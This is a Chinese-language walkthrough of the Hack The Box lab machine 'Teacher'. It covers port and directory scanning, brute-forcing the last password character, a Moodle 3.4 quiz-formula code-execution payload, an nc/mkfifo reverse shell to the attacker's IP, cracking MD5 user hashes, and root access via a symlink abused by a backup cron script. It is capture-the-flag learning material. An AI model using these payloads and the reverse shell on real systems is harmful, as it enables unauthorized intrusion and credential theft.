【HTB系列】靶機Teacher的滲透測試詳解
- 2019 年 10 月 7 日
- 筆記
Kali: 10.10.14.50
靶機地址:10.10.10.153
先用nmap 對靶機進行掃描
nmap -sC -sV -sT 10.10.10.153 |
|---|

只開啟了80埠,網頁內容如下

一個靜態的網頁,還有一些其他的頁面,Courses,Students等等
檢查下網頁的源程式碼,在GALLERY頁面發現一個奇怪的點

第一個img元素多了一個onerror錯誤事件,意思是載入錯誤時在控制台輸出(That『s an F)

然後其他的img圖片都是能正常打開唯獨第一個是無法打開的

那麼可能這個圖片裡面藏著什麼東西,用curl下載來看看
curl http://10.10.10.153/images/5.png -o image.png |
|---|
下載過來的文件是打不開的,可能它是損壞的或者它就不是一個圖片
我們用file+cat命令查看文件類型以及文件裡面的內容

他的意思是忘記了密碼的最後一位,讓我們弄清楚密碼或者是去重置密碼
我們用gobuster對網頁的目錄進行爆破處理
gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.153/ -t 50 |
|---|

/phpMyAdmin

/moodle

PhpMyAdmin被攔截無法訪問,然後moodle是正常可以訪問的
Moddle有個登陸頁面

帳戶密碼可能就是剛剛提示所說的
帳戶:Giovanni
然後密碼的最後一位我們需要去猜解
我們用burp的intruder模組進行暴力猜解
載入一下兩個字典(數字+大小寫字母+特殊字元)
/usr/share/SecLists/Fuzzing/alphanum-case.txt
/usr/share/SecLists/Fuzzing/special-chars.txt

根據響應長度的不同,找出了最後一位的密碼位#
正確的帳戶和密碼如下:
Username:Giovanni
Password:Th4C00lTheacha#

我們需要查看下moodle的版本,然後找對應的EXP
可以找到任意網頁下面的(Moodle Docs for this page),查看他跳轉的url根據url參數看出它是什麼版本的


所以這個版本是3.4版本的,然後我們去google查找3.4版本的漏洞
漏洞文章:https://blog.ripstech.com/2018/moodle-remote-code-execution/
我們可以利用quiz進行程式碼執行
打開編輯模式

任選一個TOP創建一個活動

點擊quiz

輸入內容,然後點擊(Save and display)

然後我們點擊 edit quiz
並添加一個新問題。問題類型將是Calculated

然後資訊隨便填寫

在answers填入(這個在這其實並不適用)
/*{a*/`$_REQUEST[sdfz]`;//{x}}`; |
|---|

在實際運用的過程中還是會需要修改下payload的

經過2次的修改最終的payload為
/*{a*/`$_REQUEST[sdfz]`;//{x}} |
|---|
成功後就來到這個頁面

我們將點擊Next Page訪問頁面:

如果能正常顯示說明payload沒有問題
我們用kali監聽1337
然後在頁面後面添加如下url並訪問
&sdfz=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.50+1337+>/tmp/f |
|---|

然後得到shell

嘗試切換到用戶目錄發現不允許

所以我們需要找到用戶的shell
然後我就返回moodle目錄查找有沒有可用線索,發現config.php配置文件

我們通過mysql -u root -p進行登陸,但是發現不能連續性執行sql語句,shell交互性很差

我們通過python來建立起一個shell
python -c 'import pty;pty.spawn("/bin/bash")' |
|---|

執行下面2句sql:
use moodle;
select username,password from mdl_user;

前3個就是被混淆過可能無法破解,我們看下第4個的長度
echo -n 7a860966115182402ed06375cf0a22af | wc -c |
|---|

發現是32位,應該是MD5加密
破解下

也可以到這個網站破解:https://crackstation.net/

帳戶:Giovannibak(這個帳戶其實是不對的)
密碼:expelled
然後我們切換過去

發現這個用戶有問題應該是不存在的,後來看到bak可能是備用的用戶,我們查下/etc/passwd

帳戶:giovanni
密碼:expelled

得到user flag

接下來就是獲得root許可權,經過各種查找
在giovanni的work目錄下發現一個,應該是任務計劃數據備份的留下的線索

然後我看了下計劃任務

有的目錄不能訪問,有的就是各種調用,這裡我用一個就是進程過程監控工具,我只要看它到時候調用了什麼腳本生成備份數據
項目地址:https://github.com/DominicBreuker/pspy/releases
直接下這個已經編譯好的二進位
先看下靶機的系統

這裡我就直接下這個

接下來就是常規操作,本地用python的SimpleHTTPServer模組開啟HTTP服務,然後靶機用wget遠程下載pspy,這裡我們把pspy下載到靶機的/dev/shm目錄

然後chmod +x 並執行

這裡很明顯切換了root身份開始了任務計劃,同時我們也看到了/usr/bin/backup.sh這個腳本,我們可以通過它得到root shell,但是發現我們只有執行的許可權並沒有編輯許可權

查看下文件的內容

它壓縮/home/giovanni/work/courses目錄中的所有東西,在切換到tmp目錄把壓縮包解壓到tmp目錄中去。利用這個特性,我們rm -r 刪除原始的courses目錄,並創建root目錄的軟連接即ln -s /root courses
這樣腳本再次進行數據備份的時候會把root目錄下的東西解壓縮到tmp目錄,然後我們直接cat root flag即可

